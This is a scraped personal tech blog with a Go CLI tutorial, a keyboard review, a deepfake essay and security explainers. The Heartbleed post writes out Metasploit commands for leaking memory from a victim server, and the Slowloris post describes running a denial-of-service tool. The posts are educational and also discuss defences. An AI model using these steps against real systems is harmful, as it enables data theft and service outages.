A. (2015). A $60 gadget that makes car hacking far easier. Wired. Jacobs, D., Choo, K.-K. R., Kechadi, M.-T., & Le-Khac, N.-A. (2017). Volkswagen car entertainment system forensics. In 2017 ieee trustcom/bigdatase/icess (pp. 699–705). IEEE. Kumar, R., Chauhan, N., Kumar, P., Chand, N., & Khan, A. U. (2020). Privacy aware prevention of sybil attack in vehicular ad hoc networks. In Handbook of wireless sensor networks: Issues and challenges in current scenario's (pp. 364–380). Springer. Larson, A. (2018). What is an automobile black box. Retrieved from https://www.expertlaw.com/library/accidents/auto_black_boxes.html O'Neill, P. H. (2017). Meet berla, the little-known company that can pull smartphone data from your car. Retrieved from https://www.cyberscoop.com/berla-car-hacking-dhs/ Obimbo, C. (n.d.). Bb-vdf: Enabling accountability and fine-grained access control for vehicular digital forensics through blockchain. Pagliery, J. (2015). Chryslers can be hacked over the internet. Retrieved from https://money.cnn.com/2015/07/21/technology/chrysler-hack/index.html Series, M. (2012). Advanced intelligent transport systems (its) radiocommunications. Svensson, S., Richter, J. L., Maitre-Ekern, E., Pihlajarinne, T., Maigret, A., & Dalhammar, C. (2018). The emerging right to repair legislation in the eu and the us. Proceedings from Going Green - Care Innovation, Vienna. Tam, K., Feizollah, A., Anuar, N. B., Salleh, R., & Cavallaro, L. (2017). The evolution of android malware and android analysis techniques. ACM Computing Surveys (CSUR) , 49 (4), 1–41. Teoh, E. R., & Kidd, D. G. (2017). Rage against the machine? google's self-driving cars versus human drivers. Journal of safety research , 63 , 57–60. Tesla. (2020). Mobile app overview | tesla. Retrieved from https://www.tesla.com/support/energy/powerwall/mobile-app/mobile-app-overview Toh, C. K. (2001). Ad hoc mobile wireless networks: Protocols and systems. Pearson Education. Wenzel, S. L. (2017). Not even remotely liable: Smart car hacking liability. U. Ill. JL Tech. & Pol'y , 49. Go CLI tutorial 2018-06-14T00:00:00+00:00 Introduction</h2> There already exists many third-party packages that you can use to create command line interfaces in Go, but this tutorial is going to focus on making CLIs using only the standard library. In other words, "build your own fucking birdfeeder". All files presented can be found on my GitHub</a>. Getting started</h2> We are going to use three main standard library packages for this tutorial: fmt</a> - Formatting simple I/O</li> flag</a> - CLI flag parsing</li> os</a> - Platform independent OS functionality</li> </ol> This tutorial assumes basic knowledge of Go, but should be pretty easy to understand regardless. Simple CLI</h2> Let's first make a CLI without flags, which would be the simplest CLI we could make: ref. 1-1 package main import ( "fmt" "os" ) func main() { programName := os.Args[0] fmt.Printf("Program name: %s\n", programName) }</code></pre> os.Args</a> holds the CLI arguments, which starts with the program name as its first string in the slice, and then continues with the supplied arguments. We can demonstrate this with the following snippet of code. ref 1-2 package main import ( "fmt" "os" ) func main() { for i := 0; i<5; i++ { programName := os.Args[i] fmt.Printf("Argument No. : %d (%s)\n", i, programName) } }</code></pre> It will have the following output: go run 1-2.go foo bar Argument No. : 0 (/tmp/go-build501384166/command-line-arguments/_obj/exe/1-2) Argument No. : 1 (foo) Argument No. : 2 (bar) panic: runtime error: index out of range goroutine 1 [running]: panic(0x4db1e0, 0xc82000e070) /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6 main.main() /mnt/d/oneDrive/code/go/testing/cli/1/1-2.go:10 +0x20f exit status 2</code></pre> The error is expected as we are looping over a slice of strings, which are the arguments stored in os.Args, and there are only three arguments; the first argument being the name of the program itself, and the "foo" and "bar" supplied by us in the terminal. This can be easily fixed by finding the number of strings in os.Args, by doing the following. ref. 1-3 package main import ( "fmt" "os" ) func main() { numberOfArgs := len(os.Args[1:]) for i := 0; i <= numberOfArgs; i++ { programName := os.Args[i] fmt.Printf("Argument No. : %d (%s)\n", i, programName) } }</code></pre> This will give us the expected output, as in 1-2, but without the "index out of range" error. Alternatively, you could use "range" to enumerate the arguments instead. ref. 1-4 package main import ( "fmt" "os" ) func main() { for i, arg := range os.Args[1:] { // 1, not 0 because we do not want the name of the program fmt.Printf("Argument No.%d: %s\n", i+1, arg) } }</code></pre>go run 1-4.go foo bar Argument No.1: foo Argument No.2: bar</code></pre> Why you would want to use "range" over "len" would of course be completely dependent on the context, but there is no wonder which way is more concise. flag.Arg(i) returns the i'th CLI argument, while flag.Args() returns the non-flag CLI arguments. </blockquote> Using the flag package</h2> Using the flag package, we can take flags entered at the time of running the program and parse them, and hence we can do some more action with the flags/arguments that we pass. The flag.StringVar function takes the following input: StringVar func(p *string, name string, value string, usage string)</code></pre> StringVar defines a string flag with specified name, default value, and usage ring. The > argument p points to a string variable in which to store the value of the flag. StringVar is not the only thing that could be used; you could also use IntVar, Float64 and so on. This means you could make programs like the following: package main import ( "flag" "fmt" ) func main() { var password string flag.StringVar(&password, "p", "", "password for access") flag.Parse() if password == "password" { fmt.Println("Access granted") } else { fmt.Println("Access denied") } }</code></pre> Please note that you should never do this, as it is really simple to disassemble the program and extract the plain text password even though the disassembly of Go is arguably more messy than of a C program, as demonstrated below. mov rcx, [rax] mov [rsp+98h+usage.str], rcx mov rcx, [rax+8] mov [rsp+98h+usage.len], rcx lea rbp, aPassword ; "password" mov [rsp+98h+var_88], rbp mov [rsp+98h+var_80], 8 call runtime_eqstring movzx ebx, byte ptr [rsp+98h+var_78] cmp bl, 0 jz loc_4011B5</code></pre>More advanced CLI</h2> The first more advanced CLI is using an operator, specified using the "-o" flag, on our arguments pairwise, for example 1 + 2, 3 + 4 and so forth. ref 2-1 package main import ( "flag" "fmt" "os" "strconv" ) func main() { flag.Usage = func() { fmt.Println("\nMy Mediocre Program - By Me\n") fmt.Println("Usage:") flag.PrintDefaults() } var operator string flag.StringVar(&operator, "o", "+", "operator to use (+, -, * or /)") flag.Parse() if flag.NArg() == 0 { flag.Usage() os.Exit(1) } for i := 0; i < len(flag.Args()); i = i + 2 { firstInt, _ := strconv.ParseFloat(flag.Arg(i), 64) secondInt, _ := strconv.ParseFloat(flag.Arg(i+1), 64) if operator == "+" { fmt.Printf("%.2f + %.2f = %.2f\n", firstInt, secondInt, firstInt+secondInt) } else if operator == "-" { fmt.Printf("%.2f - %.2f = %.2f\n", firstInt, secondInt, firstInt-secondInt) } else if operator == "*" { fmt.Printf("%.2f * %.2f = %.2f\n", firstInt, secondInt, firstInt*secondInt) } else if operator == "/" { fmt.Printf("%.2f / %.2f = %.2f\n", firstInt, secondInt, firstInt/secondInt) } else { println("Operator not recognised.") } } }</code></pre>go run 2-1.go -o "/" 1 2 3 4 5 6 7 8 9 10 1.00 / 2.00 = 0.50 3.00 / 4.00 = 0.75 5.00 / 6.00 = 0.83 7.00 / 8.00 = 0.88 9.00 / 10.00 = 0.90</code></pre>Conclusion</h2> Compared to other implementations in other languages, like argparse in Python, the flag package might not be a very advanced or intuitive one. For simple and small programs, it might get the job done. There are some obvious shortcomings, for example the flag package does not support mandatory or required flags (meaning the flag must be specified explicitly). Hence, you might want to check out more extensive implementations like cli</a> and Cobra</a>. Cobra is used in many projects written in Go like Hugo</a> and Kubernetes</a>. Ergodox EZ review 2018-03-29T00:00:00+00:00 TL;DR: It's open source, programmable and awesome. Last year, during long hours of programming, I started to develop a repetitive stress injury (RSI) on my right wrist/arm. At one point it was so bad that I could barely write without swearing after each for loop. I was using a relative ok keyboard at the time, although it had generic Cherry Blue clone keycaps, I was rather happy with it. I realised, however, that I had to make changes to my input devices as well as my habits. Ergodox to the rescue</h2> I looked at many input devices; everything from Maltron to programming Python and C++ using speech synthesis was considered. After browsing through Reddit, which I often do, I stumbled upon the Ergodox design. Not only was it open source, but it was also supported by QMK that I knew from before was used on many DIY keyboards like the Planck. While the Planck was very small, and I really wanted a split "Maltron-style" keyboard, I went for the Ergodox EZ. I could have built it myself, but while I do consider my soldering skills adequate, I would not embark on such a project by myself. I should also point out that I did consider Falbatech</a> as I live in Poland, but opted for the Ergodox EZ as I liked the design much more. After three agonising weeks of waiting as well as switching from Qwerty to Dvorak in hopes that it might make my wrists less angry at me, it finally arrived. My configuration was the black version of Ergodox EZ Shine with lettered keycaps, Cherry Brown switches and the palm rests. With a total price of 350 USD is not cheap compared to what one would expect when one is ordering "a keyboard from China" (Taiwan in this case), but it has its reasons. Not only are the workers fairly paid, but the Ergodox design is pretty labour intensive to build. It is very unorthodox compared to other designs like the Planck, it consists of many parts and it must be tested as well. Building it by yourself would probably cost equally as much, if not more, plus it is very easy to mess up with the soldering if it's your first time doing it; from all the videos I've seen, it seems rather cumbersome. Customise everything</h2> Any keyboard that has the possibility to be programmed is a good choice. As the Ergodox design is open source (which is awesome), as well as all the software around it, making it very easy to customise. I use the QMK firmware</a>, as I think the graphical configurator</a> is not doing the keyboard justice. That is also some of the things that could be improved, especially for users who expect this to be an "out-of-the-box" experience, which it is not. I had the need for a slightly altered Dvorak layout that was convenient for writing Python and C++ as well as for using Norwegian characters in Unicode. Thus, having the option to customise every key to whatever function is important. I am also changing back and forth between configurations, in the hopes of improving my productivity with new layouts. This makes using the graphical configurator cumbersome, but it is really meant for more basic layouts and it is a good option if you don't want to fuck around with C in QMK, as well as compiling it yourself. QMK has a steep learning curve, but if you have the time, it can be very empowering and fun to use. You can find my current layout on GitHub.</a> Design and build quality</h2> Many say that they are impressed with the build quality, and while it is indeed good, it is not perfect. From the uneven gap between the upper and lower part of the shell to the mediocre cables and slightly uneven LED colours</a>, it definitely has some nit-picky details that could be improved. I have no problem with it being utilitarian, but these small things really irritate me. Apart from that, however, it feels solid. It even sounds solid when you tap on it, but despite that the Ergodox EZ is lighter than expected. The keys feel good and the letterings (Qwerty, for reference in games) does not seem to have worn off a single bit, even though I use it for probably 10 hours a day since I got it in December last year. With or without the tent kit, the keyboard is also very sturdy. With just enough friction on the feet to keep them in position, but move when I want it to, they really did well on this part. There is nothing more irritating than having a sliding keyboard, or a keyboard that has so much friction that you have to lift it to move it. Having the LED lights under the keyboard halves instead of in the keys was an interesting choice, which most people will love or hate the idea of. I am rather indifferent to having backlit keys as I never look at my keyboard unless I am trying to remember where the keys are on a Qwerty layout when playing games. It should also be noted that it has a two year warranty and that Ergodox EZ has a really good customer service that is constantly available on Reddit</a> where they respond to queries. NOTE: I ordered this keyboard before removable switches were available. </blockquote> Everyday use</h2> As I program, write or make music throughout the whole day, I am really nailed to my input devices. My high use probably explains the sudden onset of RSI, and thus also justifies making these drastic changes to improve my workflow. Still, without these challenges, I might still have changed to a Keyboard such as the Ergodox just for its possibilities with customisability and feel. One of the drawbacks of having an elaborate setup such as the Ergodox, or other elaborate builds like Dactyl, is that is more often than not highly inconvenient to bring anywhere. While there exist alternate designs of the Ergodox, such as the smaller and more portable Orthodox or Atreus</a>, they sometimes lack in ergonomics and are often kits rather than full products you can buy. Personally, I don't care that much as I usually write at home on my workstation anyway, but I am thinking about maybe building my own keyboard to complement the design of the Ergodox in the near future. Conclusion</h2> I am really impressed that a company made a keyboard with such a wide range of features to us folks that may not be the best at DIY hardware projects, or software for that matter, albeit some tinkering is still needed for it to do it justice. If you have no willpower to learn new stuff, this keyboard will probably kill you. I have now used it for four months, and I still have only explored just the tip of the ice berg of what is possible. It is not for everyone, especially for those who hate tinkering and troubleshooting. A lot of weird stuff has happened often when I have played around with the configurations, so do keep a spare keyboard for backup. It's also not for everyone considering the price, and like with most ergonomic keyboards that is to be expected, but there are other alternatives that one should check out before you order this particular model. For me, it was worth it, and it has enhanced my workflow considerably. In my opinion, this is the best investment you can do as a programmer or writer, alongside condoms. Deepfaking 2018-01-26T00:00:00+00:00 NOTE: This article contains links to sites that are NSFW</a>. What do you do when even video evidence is fake? For many years now, we have been used to image manipulation, and I am not talking about photoshop and computers. Retoucheing of pictures has been a common practice since the very early days of photography. Using brushes and other tools, everything from blemishes on queens and people Stalin did not like has been removed from pictures. After a while came computers and revolutionised the process. The same thing is happening again, but to video. Deepfaking, defined as faking something by the use of deep learning (a part of the machine learning family), is taking the internet by storm since late 2017. In particular, it has become a common practice to use this to replace faces of porn stars with faces of celebrities. f To be fair, it is not like this has never happened before, it is just that this has made it so much easier to do, and with even little effort, the result is astonishing in comparison to older methods such as rotoscoping and hoping for the best. If you are at this point totally lost and do not know what I am talking about, you should watch CGP Grey's video on machine learning before reading any further. </iframe> The tech</h2> Using machine learning to generate images is old news. Apart from those beneath rocks, we have all seen the trippy DeepDream pictures</a>. You might also have seen the way textures has been generated by the help of neural networks and how neural networks help you to try on your clothes for you.</a> </iframe> The technology behind deepfaking is very similar. It uses neural networks and deep learning to take a series of images of the face to be attached, ideally as many as possible and from different angles, as well as the video to be manipulated. The manipulation can then begin and is done in three stages. Produce training data for the model (in the case of most deepfakes, a celebrity).</li> Running a neural network to emulate the face of the model.</li> Using the neural network, the model's face is projected unto the original face in the video.</li> </ol> In the end, you will have something like the following. </iframe></div> There is also one that is fairly well done of Carrie Fisher (RIP) as a younger princess Leia. The top one is made by ILM/Lucasfilms and the bottom one is using deepfaking. </iframe></div> These gifs are not pornography, which is rather an exeption than the rule. The subreddit, for this called deepfakes</a> made by a user with the same name, contains many more examples that you may explore yourself. You can easily access the source code, as it is open source and available on GitHub. There exists the official one</a> and anoter one from the community</a>. Think about this: This is only the beginning. It is picking up speed every day with a community that is growing with a code repository that is growing, expanding and forking. The ethics</h2> When evidence in cases of evidence of crime, video evidence has often been the goto format, as well as DNA and other forensics methods, purely because it has been hard to manipulate in such a way that it could fool a court, although I am not sure if it happened before or not. With fast paced technology such as the field of machine learning is, it is not unimaginable that in a few years video evidence will be not only useless, but maybe even frowned upon bringing to court. This is all hypothetical, but we should be ready to face these changes. In many ways it is very much the same discussion as the artificial intelligence, and how we have to have legislation before it becomes a problem. A user by the name Gravity_Horse</a> wrote the following on the deepfakes subreddit. To those who condemn the practices of this community, we sympathize with you. What we do here isn't wholesome or honorable, it's derogatory, vulgar, and blindsiding to the women that deepfakes works on. (...) This technology is very new. And new scares people. A lot. But while the circumstances may be different, and the applications to this technology far exceed that of, say, Photoshop, the end result is the same. Faked images. (...) No matter what happens, this technology was going to become a reality. Nothing could stop that. And ironically enough, the safest hands for it to be in might just be the general public with the power to desensitize it, rather than an exclusive few, with the power to exploit it. </blockquote> Edited for brevity. Full text can be found on the subreddit</a>. This Reddit user really gets it. He does acknowledge that it is indeed derogatory towards those who are affected by the activities on the subreddit. He is also right that it scares people. Hell, it scares me. I cannot count on how many times I have seen people faking screenshots to convince or lie about someone about something, so let us just say I do not think this exactly will work against this "culture". We would be, however, tricking ourselves if we just ignored the potential massive implications this could possibly yield. Thus, we should really start to focus on how to deal with cases like these and how we can discover fakes in forensics. We cannot simply try to ban its use, like some politicians think they can do with encryption. How should we tackle this? Maybe start making more deepfakes with Nicolas Cage. That stuff really brightened up my day. Every technology can be used with bad motivations, and it's impossible to stop that. -- Deepfake to The Verge</a> </blockquote> Slowloris 2017-10-17T00:00:00+00:00 Why don't I use Apache for my web server? Is it because Nginx is newer than Apache? Is it because it handles concurrent connections "slightly better" than Apache? No, not really. I don't even remember why I started using Nginx; I just did. One thing I do know, however, is that there is a pretty funny denial of service (DoS) attack that can be done to Apache-based web servers from even a small Raspberry Pi. It is called a "slow and low DoS", or simply "slowdos" or "slowloris". It does not only affect Apache; Flask, a Python based web server, is also possible to attack in a similar manner. You could watch Dr. Mike Pound's Computerphile video about slowloris first.</a> It probably makes everything a bit easier to understand. I could just present the Python or JavaScript that does this, but I find it useful to understand how this vulnerability is allowed to exist. How it works</h2> The idea of the attack is relatively quite simple. You exploit the issues Apache has with serving many users at the same time. To understand why that is a problem, one has to understand how Apache in works and how it differs from Nginx. Client requests are handled by three multi-process modules (MPMs). Administrators can thus swap out its connection handling architecture easily, if they so choose to. The MPMs are: mpm_prefork</li> mpm_worker</li> mpm_event</li> </ol> Which MPM one would use depends on what content you are serving. It also depends on what other modules you use with Apache. For example, mod_php cannot be used with mpm_worker which is an Apache module capable to parse and execute PHP code inside Apache itself, a common way to run PHP under Apache. The mpm_worker module is multi-threaded, in comparison to mpm_prefork, which makes it quicker to run on the server. The slowloris attack exploit how Apache work by taking all the connections that are spawned by for example mpm_prefork or mpm_worker by sending incomplete requests. The connection will thus be open and after a while maxing out the maximum connections allowed. This will result in a DoS. In comparison to Apache, Nginx is newer (1995 and 2002 respectively). The sole reason why Nginx exist is to solve the C10K problem, which is the problem of how to optimise network sockets in order to handle a large number of clients at the same time. We have to appreciate the fact that Apache was made in an era where most had no idea how big and powerful the internet were going to be. Thus, it is very unlikely to slowdos a Nginx based server as it is made to handle a lot of concurrent connections. Apache on the other hand, will often yield under the high pressure from such an attack. How to prevent it</h2> I could say "just use Nginx", and I was planning to do so as well, but then I would not be totally honest. Slowdos attacks can actually be used on some versions of Nginx (up to v1.5.9)</a> or badly configured Nginx for that matter, but in practice it is unlikely. Thus, saying "just use Nginx" is valid. However, for a developer that is dependent and accustomed to Apache, it is possible to for example use Nginx and Apache together for example as using Nginx as a reverse proxy. There are also Apache modules to mitigate the attack, namely the modules: mod_limitipconn, mod_qos, mod_evasive, mod security, mod_noloris, and mod_antiloris. Since Apache 2.2.15, Apache ships the module mod_reqtimeout</a> as the official solution. It is also possible to use mpm_event module. While the mpm_worker needs 1,000 threads to sustain 1,000 concurrent connections, mpm_event may get by with 100 active threads and 900 idle connections managed in the event queue. The mpm_event will use a fraction of the resources of the mpm_worker in that scenario, but the downside to this: each of those requests is handled by a separate thread which must be scheduled by the kernel and as such will incur the cost of switching context. Nginx, on the other hand, uses the event model itself as its scheduler. Nginx processes as much work on each connection as it can before move on to the next one. Thus, no extra context switching is required. How to exploit it</h2> It is really simple. Run this python code</a> or this JavaScript code</a> found on GitHub. You can set up this attack against a webserver on a Raspberry Pi and just put it somewhere and forget about it. Please do not DoS people. Contrary to popular belief, writing in PHP does not make a person fair game. The heart still bleeds 2017-08-16T00:00:00+00:00 In 2014, CVE-2014-0160 happened, more commonly known as Heartbleed. The vulnerability was exposed independently by a team of security engineers (Riku, Antti and Matti) at Codenomicon (acquired by Synopsys) and Neel Mehta of Google Security. An attack of this kind is getting rarer by the day, but there are several thousands, if not hundreds of thousands of devices that are still vulnerable to this attack. The scarier part is that it is, pardon the pun, silent, but deadly. It is not undetectable, as there are honeypots that are most likely deployed for this purpose, but it does require effort investigate. To top it all off, it is one of the simpler exploits to do. If one fire up the Metasploit framework, it can be done in a couple of minutes. Here is the whole process, done from a Kali virtual machine against another virtual machine. The Heartbleed</h2> msfconsole use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS [victim's IP address] set RPORTS [victim's port] set VERBOSE true run</code></pre> The most common port to attack would be port 443, but other ports where the OpenSSL technology might be deployed can also be attacked as well. After the script runs, something that may very well look like digital garbage will be thrown at you. You most likely got a 64 kilobytes chunk of data from one heartbeat that was revealed from memory. What does it look like? Here is a screenshot. Why 64kb? Why the name Heartbleed? It all comes down to the Heartbeat extension featured in the TLS protocol. It is basically a nifty way of keeping the communication going between two entities without renegotiating the connection too often. This tech was introduced into OpenSSL, but a bug was present. This enabled attackers to send an altered and malicious heartbeat with a small payload. Where the response from the server should have been limited to what it asked for through the heartbeat. A common representation for this is that a client ask a server for a short word, for example Alice. In a more technical and accurate wording, as presented by The Register</a> because of a missing bounds check before a memcpy() call that uses non-sanitized user input as the length parameter. Thus, whatever that is in memory at the time of the heartbeat query to the server, is sent back to the client. It could in theory be anything, thus saying that it looks like garbage is often not too far fetched. Send me this five-character word, if you are present: "Alice". </blockquote> The server would thus respond with the word "Alice". Similarly, if one asked: Send me this 300-character word, if you are present: "Alice". </blockquote> In this case, the server would have responded with "Alice", in addition to the next 295 characters. From those leaked characters, up to 64kb, one could possibly find the password and personal information of Bob, and where he kept his picture of Lena on the server. What the client is requesting is information from memory, and information from memory it gets, for as many requests as the client wants. Heartbleed is not the most common thing to find anymore with big businesses with sufficient budgets to employ experts, thus the most of those devices that are still affected are most likely to be owned by those who cannot afford to know or those who simply would never even care to know. Our responsibility</h2> While being careful to call it a trend, many junior developers, something I consider myself as well, has been known to be relatively sloppy with security. When there are so many new technologies to explore, frameworks like React and Angular and the countless of packages sent to NPM every day, such a situation is not only understandable, it is expected. Incomplete auditing of the code for bugs, despite being open source, caused Heartbleed. One. Little. Mistake. Regardless if one is a developer, entrepreneur or security specialist, the products we develop are affecting people; individuals with vulnerable sockets into their life known as services we provide. For further reading I would recommend the following: Rapid7</a> Bruce Schneider</a> (Anything from Schneider is good) Heartbleed.com</a> Teddy sees you 2017-03-04T00:00:00+00:00 Have you ever gotten creeped out by dolls? How about teddy bears? If it has, this is going to make that fear even greater.

Logins</h3>
</p>

Ports</h3>
</p>

maxine.dev

Projects

AWSY#1

About

Currently reading</h2>

The Tower of the Swallow by Andrzej Sapkowski</li> </ul>

I added some spite to my website

SSG Wars: A New Look

Third attempt at developing 35mm film at home

Second attempt at developing 35mm film at home

Reviving an OKI Microline 320 Elite dot matrix printer (Part I)

First attempt at developing 35mm film at home

Towards using NoSQL for honeypots

Credentials</h2>

Router exploitation with Metasploit

Automotive security in broad strokes

Current security issues</h2>

Go CLI tutorial

Ergodox EZ review

Deepfaking

Slowloris

The heart still bleeds

Teddy sees you

maxine.dev

Projects

AWSY#1

About

Currently reading</h2> The Tower of the Swallow by Andrzej Sapkowski</li> </ul>

I added some spite to my website

SSG Wars: A New Look

Third attempt at developing 35mm film at home

Second attempt at developing 35mm film at home

Reviving an OKI Microline 320 Elite dot matrix printer (Part I)

First attempt at developing 35mm film at home

Towards using NoSQL for honeypots

Credentials</h2>

Usernames</h3> Username</strong> No. of occurences</strong></p>

Passwords</h3> Password</strong> No. of occurences</strong></p>

Logins</h3> </p>

Ports</h3> </p>

Router exploitation with Metasploit

Automotive security in broad strokes

Current security issues</h2>

Go CLI tutorial

Introduction</h2> There already exists many third-party packages that you can use to create command line interfaces in Go, but this tutorial is going to focus on making CLIs using only the standard library.</p> In other words, "build your own fucking birdfeeder".</p>

Simple CLI</h2> Let's first make a CLI without flags, which would be the simplest CLI we could make:</p> ref. 1-1</p>

Ergodox EZ review

Deepfaking

Slowloris

The heart still bleeds

Teddy sees you

Currently reading</h2>

The Tower of the Swallow by Andrzej Sapkowski</li> </ul>

Logins</h3>
</p>

Ports</h3>
</p>